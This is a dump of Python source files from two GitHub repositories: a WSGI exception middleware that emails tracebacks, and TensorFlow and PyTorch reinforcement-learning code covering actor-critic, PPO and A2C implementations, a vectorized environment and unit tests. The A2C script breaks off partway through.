"license_type": "no_license", "max_line_length": 102, "num_lines": 87, "path": "/smoke/exceptions.py", "repo_name": "yueyoum/smoke", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\nimport sys\nimport traceback\n\nclass ExceptionMiddleware(object):\n def __init__(self, wrap_app, smoke_html=False):\n self.wrap_app = wrap_app\n self.smoke_html = smoke_html\n\n def __call__(self, environ, start_response):\n try:\n return self.wrap_app(environ, start_response)\n except:\n tb_exc = traceback.format_exc()\n exc_info = sys.exc_info()\n self.handle_exception(tb_exc, exc_info)\n if not self.smoke_html:\n raise\n\n status = '500 Internal Server Error'\n start_response(\n status,\n [('Content-Type', 'text/html')],\n exc_info\n )\n tb_exc = tb_exc.replace('\\n', '<br/>').replace(' ', '&nbsp;')\n html = \"\"\"<html>\n <head><title>%s</title></head>\n <body>\n <h1>%s</h1>\n <p>%s</p>\n </body>\n </html>\n \"\"\" % (status, status, tb_exc)\n return [html]\n\n def handle_exception(self, tb_exc, exc_info):\n raise NotImplementedError\n\n\n\nclass EmailExceptionMiddleware(ExceptionMiddleware):\n \"\"\"This is an Example, In production, It's better not send emails in sync mode.\n Because sending emails maybe slow, this will block your web app.\n So, the best practices is write your own EmailExceptionMiddleware,\n In this class, It's handle_exception method not send mail directly,\n You shoul use MQ, or something else.\n \"\"\"\n def __init__(self,\n wrap_app,\n smoke_html=False,\n from_address=None,\n to_address=None,\n smtp_server=None,\n smtp_port=25,\n smtp_username=None,\n smtp_password=None,\n mail_subject_prefix=None,\n mail_template=None):\n assert isinstance(to_address, (list, tuple)) and smtp_server is not None, \"Email Config Error\"\n self.from_address = from_address\n self.to_address = to_address\n self.smtp_server = smtp_server\n self.smtp_port = smtp_port\n self.smtp_username = smtp_username\n self.smtp_password = smtp_password\n self.mail_subject_prefix = mail_subject_prefix\n self.mail_template = mail_template\n\n super(EmailExceptionMiddleware, self).__init__(wrap_app, smoke_html=smoke_html)\n\n\n def handle_exception(self, tb_exc, exc_info):\n from smoke.functional import send_mail\n send_mail(\n self.smtp_server,\n self.smtp_port,\n self.smtp_username,\n self.smtp_password,\n self.from_address,\n self.to_address,\n '{0} Error Occurred'.format(self.mail_subject_prefix if self.mail_subject_prefix else ''),\n tb_exc,\n 'html'\n )\n\n" }, { "alpha_fraction": 0.8239436745643616, "alphanum_fraction": 0.8239436745643616, "avg_line_length": 19.285715103149414, "blob_id": "cc3b85dc0a5e49d486e59bed3a8032121163add2", "content_id": "0a49e0f15145fda837898d58bff0dea6c622c1f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 142, "license_type": "no_license", "max_line_length": 51, "num_lines": 7, "path": "/README.md", "repo_name": "yueyoum/smoke", "src_encoding": "UTF-8", "text": "# SMOKE\n\nA collections of WSGI Middlewares\n\n## smoke.exceptions.EmailExceptionMiddleware\n\nSend emails when web raise an unexcepted exceptions\n" }, { "alpha_fraction": 0.8148148059844971, "alphanum_fraction": 0.8148148059844971, "avg_line_length": 26, "blob_id": "cbe665691bb6ab1c36844bfb73b41ecd619b1e0e", "content_id": "62dd02198ad753a127dce771e96ca7c7e01c0ed5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "no_license", "max_line_length": 26, "num_lines": 1, "path": "/smoke/functional/__init__.py", "repo_name": "yueyoum/smoke", "src_encoding": "UTF-8", "text": "from mail import send_mail\n" } ]
5
huzhejie/reinforcement-learning
https://github.com/huzhejie/reinforcement-learning
fe4b4ecebe054f1be98cd680f8c7a836b9094662
ccd7ad6ebae92c152997fbc635b8fd7d5189ffa8
92fb3af1ed8fecbc0ef1327b45918173381bb292
refs/heads/master
2020-04-07T19:37:16.719013
2018-09-14T13:08:18
2018-09-14T13:08:18
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5782303214073181, "alphanum_fraction": 0.5844101309776306, "avg_line_length": 34.42288589477539, "blob_id": "c8f6303b5252f47a4b33bd1dea9aa1bbed0ee7f7", "content_id": "373cc374708f224f27b6afbdb307a9bd0ca207e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7120, "license_type": "no_license", "max_line_length": 112, "num_lines": 201, "path": "/ac_mc_distributed.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport ray\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom network import ValueFunction, PolicyCategorical\n\n\n# TODO: refactor action space differences\n# TODO: do not mask not taken actions?\n# TODO: compute advantage out of graph\n# TODO: test build batch\n\ndef build_batch(history, gamma):\n s, a, r = zip(*history)\n r = utils.discounted_return(np.array(r), gamma)\n\n return s, a, r\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--history-size', type=int, default=10000)\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/ac-mc-distributed')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\n@ray.remote\nclass Master(object):\n def __init__(self, config):\n experiment_path = os.path.join(config.experiment_path, config.env)\n env = gym.make(config.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n self._global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n state = tf.placeholder(tf.float32, [None, state_size], name='state')\n\n # critic\n value_function = ValueFunction()\n value_function(state, training=training)\n\n # actor\n policy = PolicyCategorical(env.action_space.n)\n policy(state, training=training)\n\n # training\n opt = tf.train.AdamOptimizer(config.learning_rate)\n self._vars = tf.trainable_variables()\n self._grads = [tf.placeholder(var.dtype, var.shape) for var in self._vars]\n grads_and_vars = zip(self._grads, self._vars)\n self._apply_gradients = opt.apply_gradients(grads_and_vars, global_step=self._global_step)\n\n # summary\n self._ep_length = tf.placeholder(tf.float32, [])\n self._ep_reward = tf.placeholder(tf.float32, [])\n self._metrics, self._update_metrics = {}, {}\n self._metrics['ep_length'], self._update_metrics['ep_length'] = tf.metrics.mean(self._ep_length)\n self._metrics['ep_reward'], self._update_metrics['ep_reward'] = tf.metrics.mean(self._ep_reward)\n self._summary = tf.summary.merge([\n tf.summary.scalar('ep_length', self._metrics['ep_length']),\n tf.summary.scalar('ep_reward', self._metrics['ep_reward'])\n ])\n self._locals_init = tf.local_variables_initializer()\n\n # session\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n self._sess = tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks)\n self._writer = tf.summary.FileWriter(experiment_path)\n\n def sync(self, gs, t, total_reward):\n _, _, step = self._sess.run(\n [self._apply_gradients, self._update_metrics, self._global_step],\n {\n self._ep_length: t,\n self._ep_reward: total_reward,\n **{grad: g for grad, g in zip(self._grads, gs)}\n })\n updates = self._sess.run(self._vars)\n\n if step % 100 == 0:\n summ, metr = self._sess.run([self._summary, self._metrics])\n self._writer.add_summary(summ, step)\n self._writer.flush()\n self._sess.run(self._locals_init)\n print(metr)\n\n return updates\n\n def updates(self):\n updates = self._sess.run(self._vars)\n\n return updates\n\n\n@ray.remote\nclass Worker(object):\n def __init__(self, master, config):\n self._master = master\n self._config = config\n\n def train(self):\n env = gym.make(self._config.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n # if args.monitor:\n # env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n state = tf.placeholder(tf.float32, [None, state_size], name='state')\n action = tf.placeholder(tf.int32, [None], name='action')\n ret = tf.placeholder(tf.float32, [None], name='return')\n\n # critic\n value_function = ValueFunction()\n state_value = value_function(state, training=training)\n td_target = tf.stop_gradient(ret)\n td_error = td_target - state_value\n critic_loss = tf.reduce_mean(tf.square(td_error))\n\n # actor\n policy = PolicyCategorical(env.action_space.n)\n dist = policy(state, training=training)\n action_sample = dist.sample()\n advantage = tf.stop_gradient(td_error)\n actor_loss = -tf.reduce_mean(dist.log_prob(action) * advantage)\n actor_loss -= 1e-3 * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n opt = tf.train.AdamOptimizer(self._config.learning_rate)\n grads_and_vars = opt.compute_gradients(loss)\n grads, vars = zip(*grads_and_vars)\n\n updates = [tf.placeholder(var.dtype, var.shape) for var in vars]\n apply_updates = tf.group(*[var.assign(update) for var, update in zip(vars, updates)])\n\n with tf.Session() as sess:\n us = ray.get(self._master.updates.remote())\n sess.run(apply_updates, {update: u for update, u in zip(updates, us)})\n\n for ep in range(self._config.episodes):\n history = []\n s = env.reset()\n total_reward = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {state: s.reshape((1, state_size)), training: False}).squeeze(0)\n s_prime, r, d, _ = env.step(a)\n total_reward += r\n\n history.append((s, a, r))\n\n if d:\n break\n else:\n s = s_prime\n\n batch = build_batch(history, self._config.gamma)\n\n gs = sess.run(grads, {\n state: batch[0],\n action: batch[1],\n ret: batch[2],\n training: True,\n })\n us = ray.get(self._master.sync.remote(gs, t, total_reward))\n sess.run(apply_updates, {update: u for update, u in zip(updates, us)})\n\n\ndef main():\n args = build_parser().parse_args()\n # utils.fix_seed(args.seed)\n ray.init()\n master = Master.remote(args)\n workers = [Worker.remote(master, args) for _ in range(os.cpu_count())]\n tasks = [w.train.remote() for w in workers]\n ray.get(tasks)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5254629850387573, "alphanum_fraction": 0.5277777910232544, "avg_line_length": 15, "blob_id": "e11ebe38370335c5db341049a5696a1cfedbd43a", "content_id": "b87440e0f9c061dcf48aadb99c1c7728cd22a923", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 49, "num_lines": 27, "path": "/metrics.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import abc\nimport numpy as np\n\n\nclass Metric(abc.ABC):\n def compute(self):\n ...\n\n def update(self, value):\n ...\n\n def reset(self):\n ...\n\n\nclass Mean(abc.ABC):\n def __init__(self):\n self.data = []\n\n def compute(self):\n return sum(self.data) / len(self.data)\n\n def update(self, value):\n self.data.extend(np.reshape(value, [-1]))\n\n def reset(self):\n self.data = []\n" }, { "alpha_fraction": 0.5032206177711487, "alphanum_fraction": 0.5346215963363647, "avg_line_length": 21.178571701049805, "blob_id": "550e538280e2b250c14ad1a2905d1e5a6c38fe29", "content_id": "41c1d4294babf25dd2d9572a181738db6f8bbcae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1242, "license_type": "no_license", "max_line_length": 62, "num_lines": 56, "path": "/test_vec_env.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom vec_env import VecEnv\n\n\nclass SampleEnv(object):\n class ObservationSpace(object):\n shape = (1,)\n\n class ActionSpace(object):\n shape = (1,)\n\n def sample(self):\n return [-1]\n\n observation_space = ObservationSpace()\n action_space = ActionSpace()\n\n def reset(self):\n self._i = 0\n\n return [self._i]\n\n def step(self, a):\n assert a.shape == self.action_space.shape\n\n self._i += a[0]\n\n return [self._i], a[0] * 10, self._i >= 2, None\n\n\ndef test_vec_env():\n env = VecEnv([lambda: SampleEnv() for _ in range(3)])\n\n s = env.reset()\n\n assert np.array_equal(s, [[0], [0], [0]])\n\n a = np.array([[0], [1], [2]])\n s_prime, r, d, _ = env.step(a)\n\n assert np.array_equal(s_prime, [[0], [1], [2]])\n assert np.array_equal(r, [0, 10, 20])\n assert np.array_equal(d, [False, False, True])\n\n s = np.where(np.expand_dims(d, -1), env.reset(d), s_prime)\n\n assert np.array_equal(s, [[0], [1], [0]])\n\n a = np.array([[0], [1], [2]])\n s_prime, r, d, _ = env.step(a)\n\n assert np.array_equal(s_prime, [[0], [2], [2]])\n assert np.array_equal(r, [0, 10, 20])\n assert np.array_equal(d, [False, True, True])\n\n env.close()\n" }, { "alpha_fraction": 0.6057315468788147, "alphanum_fraction": 0.6150829792022705, "avg_line_length": 37.10344696044922, "blob_id": "3344dafd50d52daa26078d7457f10c364d55f5b9", "content_id": "8a5f17bb52f61a37ffca52116991a1ce5c246f69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6630, "license_type": "no_license", "max_line_length": 120, "num_lines": 174, "path": "/ppo.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nfrom vec_env import VecEnv\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import PolicyCategorical, ValueFunction\n\n\n# TODO: VecEnv meta\n# TODO: advantage norm in papers\n# TODO: seed\n# TODO: finished episodes in meta\n# TODO: normalization (advantage, state, value_target)\n# TODO: multiepoch\n# TODO: cleanup args\n# TODO: fix monitor\n\ndef build_batch(history):\n columns = zip(*history)\n\n return [np.array(col).swapaxes(0, 1) for col in columns]\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/ppo')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--lam', type=float, default=0.95)\n parser.add_argument('--horizon', type=int, default=128)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n def train(s, num_steps):\n for _ in tqdm(range(num_steps), desc='training'):\n history = []\n\n for _ in range(args.horizon):\n a = sess.run(action_sample, {states: np.expand_dims(s, 1)}).squeeze(1)\n s_prime, r, d, _ = env.step(a)\n history.append((s, a, r, d))\n s = np.where(np.expand_dims(d, -1), env.reset(d), s_prime)\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'], batch['dones'] = build_batch(\n history)\n\n sess.run(\n [train_step, update_metrics['loss']],\n {\n states: batch['states'],\n actions: batch['actions'],\n rewards: batch['rewards'],\n state_prime: s_prime,\n dones: batch['dones']\n })\n\n return s\n\n def evaluate(num_episodes):\n env = gym.make(args.env)\n\n for _ in tqdm(range(num_episodes), desc='evaluating'):\n s = env.reset()\n ep_r = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {states: np.reshape(s, (1, 1, -1))}).squeeze((0, 1))\n s_prime, r, d, _ = env.step(a)\n ep_r += r\n\n if d:\n break\n else:\n s = s_prime\n\n sess.run([update_metrics[k] for k in update_metrics if k != 'loss'], {ep_length: t, ep_reward: ep_r})\n\n step, summ, metr = sess.run([global_step, summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = VecEnv([lambda: gym.make(args.env) for _ in range(os.cpu_count())])\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n b, t = None, None\n states = tf.placeholder(tf.float32, [b, t, np.squeeze(env.observation_space.shape)], name='states')\n actions = tf.placeholder(tf.int32, [b, t], name='actions')\n rewards = tf.placeholder(tf.float32, [b, t], name='rewards')\n state_prime = tf.placeholder(tf.float32, [b, np.squeeze(env.observation_space.shape)], name='state_prime')\n dones = tf.placeholder(tf.bool, [b, t], name='dones')\n\n # critic\n value_function = ValueFunction()\n values = value_function(states, training=training)\n value_prime = value_function(state_prime, training=training)\n advantages = utils.batch_generalized_advantage_estimation(rewards, values, value_prime, dones, args.gamma, args.lam)\n advantages = tf.stop_gradient(advantages) # TODO: normalize advantages?\n value_targets = tf.stop_gradient(advantages + values)\n critic_loss = tf.reduce_mean(tf.square(value_targets - values))\n\n # actor\n policy = PolicyCategorical(np.squeeze(env.action_space.shape), name='policy')\n dist = policy(states, training=training)\n policy_old = PolicyCategorical(np.squeeze(env.action_space.shape), trainable=False, name='policy_old')\n dist_old = policy_old(states, training=False)\n action_sample = dist.sample()\n\n ratio = tf.exp(dist.log_prob(actions) - dist_old.log_prob(actions)) # pnew / pold\n surr1 = ratio * advantages # surrogate from conservative policy iteration\n surr2 = tf.clip_by_value(ratio, 1.0 - 0.2, 1.0 + 0.2) * advantages\n actor_loss = -tf.reduce_mean(tf.minimum(surr1, surr2)) # PPO's pessimistic surrogate (L^CLIP)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n update_policy_old = tf.group(*[\n tf.assign(old_var, var)\n for var, old_var in zip(tf.global_variables('policy/'), tf.global_variables('policy_old/'))])\n\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n with tf.control_dependencies([loss]):\n with tf.control_dependencies([update_policy_old]):\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_length = tf.placeholder(tf.float32, [])\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_length'], update_metrics['ep_length'] = tf.metrics.mean(ep_length)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n locals_init = tf.local_variables_initializer()\n\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n with tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(\n experiment_path) as writer:\n s = env.reset()\n for _ in range(1000):\n sess.run(locals_init)\n s = train(s, num_steps=100)\n evaluate(num_episodes=10)\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5271296501159668, "alphanum_fraction": 0.5718936324119568, "avg_line_length": 34.786407470703125, "blob_id": "0e6ef8ae1dec6928802253d90178cc1373f43327", "content_id": "9242e69713120422fc4ec6e0af0806c48df1d93c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3686, "license_type": "no_license", "max_line_length": 118, "num_lines": 103, "path": "/test_utils.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nimport utils\nimport impala\n\n\nclass UtilsTest(tf.test.TestCase):\n def test_batch_return(self):\n rewards = [[1, 2, 3]]\n actual = utils.batch_return(rewards, gamma=0.9)\n actual = self.evaluate(actual)\n expected = [[\n 1 + 0.9 * 2 + 0.9**2 * 3,\n 2 + 0.9 * 3,\n 3\n ]]\n\n assert np.allclose(actual, expected)\n\n def test_batch_generalized_advantage_estimation(self):\n rewards = [[1., 1., 1., 1., 1., 1.]]\n values = [[3., 4., 5., 3., 4., 5.]]\n value_prime = [6.]\n dones = [[False, False, True, False, False, False]]\n\n actual = utils.batch_generalized_advantage_estimation(rewards, values, value_prime, dones, gamma=0.9, lam=0.8)\n actual = self.evaluate(actual)\n expected = [[0.6064, -1.38, -4., 3.40576, 2.508, 1.4]]\n\n assert np.allclose(actual, expected)\n\n def test_batch_n_step_return(self):\n rewards = [[1., 1., 1., 1., 1., 1.]]\n value_prime = [10.]\n dones = [[False, False, True, False, False, False]]\n\n actual = utils.batch_n_step_return(rewards, value_prime, dones, gamma=0.9)\n actual = self.evaluate(actual)\n expected = [[2.71, 1.9, 1., 10., 10., 10.]]\n\n assert np.allclose(actual, expected)\n\n def test_from_importance_weights(self):\n log_ratios = np.expand_dims(np.log([0.5, 0.5, 0.5, 2., 2., 2.]), 1)\n discounts = np.expand_dims([0.9, 0.9, 0., 0.9, 0.9, 0.], 1)\n rewards = np.expand_dims([5., 5., 5., 5., 5., 5.], 1)\n values = np.expand_dims([10., 10., 10., 10., 10., 10.], 1)\n value_prime = [100.]\n\n actual = impala.from_importance_weights(log_ratios, discounts, rewards, values, value_prime)\n actual = self.evaluate(actual)\n\n ratios = np.exp(log_ratios)\n values_prime = np.concatenate([values[1:], np.expand_dims(value_prime, 1)], 0)\n\n vs_minus_values = np.zeros(values.shape)\n v_minus_value = np.zeros(values.shape[1:])\n for t in reversed(range(vs_minus_values.shape[0])):\n delta = np.minimum(1., ratios[t]) * (rewards[t] + discounts[t] * values_prime[t] - values[t])\n # v_minus_value += discounts[t] * np.minimum(1., ratios[t]) * delta # TODO: ???\n v_minus_value = delta + discounts[t] * np.minimum(1., ratios[t]) * v_minus_value\n vs_minus_values[t] = v_minus_value\n\n vs = values + vs_minus_values\n vs_prime = np.concatenate([vs[1:], np.expand_dims(value_prime, 0)], 0)\n pg_advantages = np.minimum(1., ratios) * (rewards + discounts * vs_prime - values)\n\n expected = vs, pg_advantages\n\n assert np.allclose(actual[0], expected[0])\n assert np.allclose(actual[1], expected[1])\n\n\ndef test_episode_tracker():\n s = np.zeros((2,))\n\n episode_tracker = utils.EpisodeTracker(s)\n\n assert np.array_equal(episode_tracker.reset(), np.zeros((0, 2)))\n\n episode_tracker.update([1, 2], np.array([False, False]))\n episode_tracker.update([1, 2], np.array([False, True]))\n episode_tracker.update([1, 2], np.array([True, False]))\n episode_tracker.update([1, 2], np.array([False, True]))\n\n finished_episodes = episode_tracker.reset()\n\n assert np.array_equal(finished_episodes, np.array([\n [2, 4],\n [3, 3],\n [2, 4],\n ]))\n\n episode_tracker.update([1, 2], np.array([False, False]))\n episode_tracker.update([1, 2], np.array([False, True]))\n episode_tracker.update([1, 2], np.array([True, False]))\n \n finished_episodes = episode_tracker.reset()\n\n assert np.array_equal(finished_episodes, np.array([\n [2, 4],\n [4, 4],\n ]))\n" }, { "alpha_fraction": 0.5194029808044434, "alphanum_fraction": 0.579104483127594, "avg_line_length": 21.33333396911621, "blob_id": "f41d9f0cacdcb189da182a40373c1f8808fac922", "content_id": "4ab7f0eaf3be98dd2507d4fa3fd84f93ac298f65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 335, "license_type": "no_license", "max_line_length": 60, "num_lines": 15, "path": "/torch_rl/test_utils.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch_rl.utils as utils\n\n\ndef test_batch_return():\n rewards = torch.tensor([[1, 2, 3]], dtype=torch.float32)\n actual = utils.batch_return(rewards, gamma=0.9)\n expected = [[\n 1 + 0.9 * 2 + 0.9**2 * 3,\n 2 + 0.9 * 3,\n 3\n ]]\n\n assert np.allclose(actual, expected)\n" }, { "alpha_fraction": 0.5902408957481384, "alphanum_fraction": 0.600040853023529, "avg_line_length": 35.2814826965332, "blob_id": "ead4a0cf7223f0b76b5204642b68aed9c5339d00", "content_id": "baf3b7e4bf5f6752d3057a7ff4e64ba9ab0e4004", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4898, "license_type": "no_license", "max_line_length": 108, "num_lines": 135, "path": "/ppo_pg_mc.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import PolicyCategorical\n\n\n# TODO: do not mask not taken actions?\n# TODO: compute advantage out of graph\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--history-size', type=int, default=10000)\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/ppo-pg-mc')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=1000)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = gym.make(args.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [])\n\n # input\n state = tf.placeholder(tf.float32, [None, state_size], name='state')\n action = tf.placeholder(tf.int32, [None], name='action')\n ret = tf.placeholder(tf.float32, [None], name='return')\n\n # actor\n policy = PolicyCategorical(env.action_space.n, name='policy')\n dist = policy(state, training=training)\n policy_old = PolicyCategorical(env.action_space.n, trainable=False, name='policy_old')\n dist_old = policy_old(state, training=False)\n action_sample = dist.sample()\n advantage = ret\n\n ratio = tf.exp(dist.log_prob(action) - dist_old.log_prob(action)) # pnew / pold\n surr1 = ratio * advantage # surrogate from conservative policy iteration\n surr2 = tf.clip_by_value(ratio, 1.0 - 0.2, 1.0 + 0.2) * advantage #\n actor_loss = -tf.reduce_mean(tf.minimum(surr1, surr2)) # PPO's pessimistic surrogate (L^CLIP)\n actor_loss -= 1e-3 * tf.reduce_mean(dist.entropy())\n\n update_policy_old = tf.group(*[\n tf.assign(old_var, var)\n for var, old_var in zip(tf.global_variables('policy/'), tf.global_variables('policy_old/'))])\n\n # training\n loss = actor_loss + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_length = tf.placeholder(tf.float32, [])\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_length'], update_metrics['ep_length'] = tf.metrics.mean(ep_length)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n locals_init = tf.local_variables_initializer()\n saver = tf.train.Saver()\n with tf.Session() as sess, tf.summary.FileWriter(experiment_path) as writer:\n if tf.train.latest_checkpoint(experiment_path):\n saver.restore(sess, tf.train.latest_checkpoint(experiment_path))\n else:\n sess.run(tf.global_variables_initializer())\n sess.run(locals_init)\n\n for ep in tqdm(range(args.episodes), desc='training'):\n history = []\n s = env.reset()\n ep_r = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {state: s.reshape((1, state_size)), training: False}).squeeze(0)\n s_prime, r, d, _ = env.step(a)\n ep_r += r\n\n history.append((s, a, r))\n\n if d:\n break\n else:\n s = s_prime\n\n batch = utils.discounted_return(history, args.gamma)\n\n _, _, step = sess.run(\n [train_step, update_metrics, global_step],\n {\n state: batch[0],\n action: batch[1],\n ret: batch[2],\n ep_length: t,\n ep_reward: ep_r,\n training: True,\n })\n\n sess.run(update_policy_old)\n\n if ep % 100 == 0:\n summ, metr = sess.run([summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n saver.save(sess, os.path.join(experiment_path, 'model.ckpt'))\n sess.run(locals_init)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6011185050010681, "alphanum_fraction": 0.6095976829528809, "avg_line_length": 35.467105865478516, "blob_id": "c1a5618bbd7409ddd089041264ae558298eeaf12", "content_id": "998bbe7057ae534f0f39f265130a0126388f1978", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5543, "license_type": "no_license", "max_line_length": 115, "num_lines": 152, "path": "/a2c_con.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import ValueFunction, PolicyNormal\nfrom vec_env import VecEnv\n\n\n# TODO: seed env\n\ndef build_batch(history, value_prime, gamma):\n state, action, reward, done = [np.array(x).swapaxes(0, 1) for x in zip(*history)]\n ret = utils.batch_a3c_return(reward, value_prime, done, gamma)\n\n state = utils.flatten_batch_horizon(state)\n action = utils.flatten_batch_horizon(action)\n ret = utils.flatten_batch_horizon(ret)\n\n return state, action, ret\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--horizon', type=int, default=256 // os.cpu_count())\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/a2c-con')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--steps', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-4)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n def train(s, num_steps):\n for _ in tqdm(range(num_steps), desc='training'):\n history = []\n\n for _ in range(args.horizon):\n a = sess.run(action_sample, {state: s})\n s_prime, r, d, _ = env.step(a)\n history.append((s, a, r, d))\n s = np.where(np.expand_dims(d, -1), env.reset(d), s_prime)\n\n batch = {}\n v_prime = sess.run(state_value, {state: s})\n batch['state'], batch['action'], batch['return'] = build_batch(history, v_prime, args.gamma)\n\n sess.run(\n [train_step, update_metrics['loss']],\n {\n state: batch['state'],\n action: batch['action'],\n 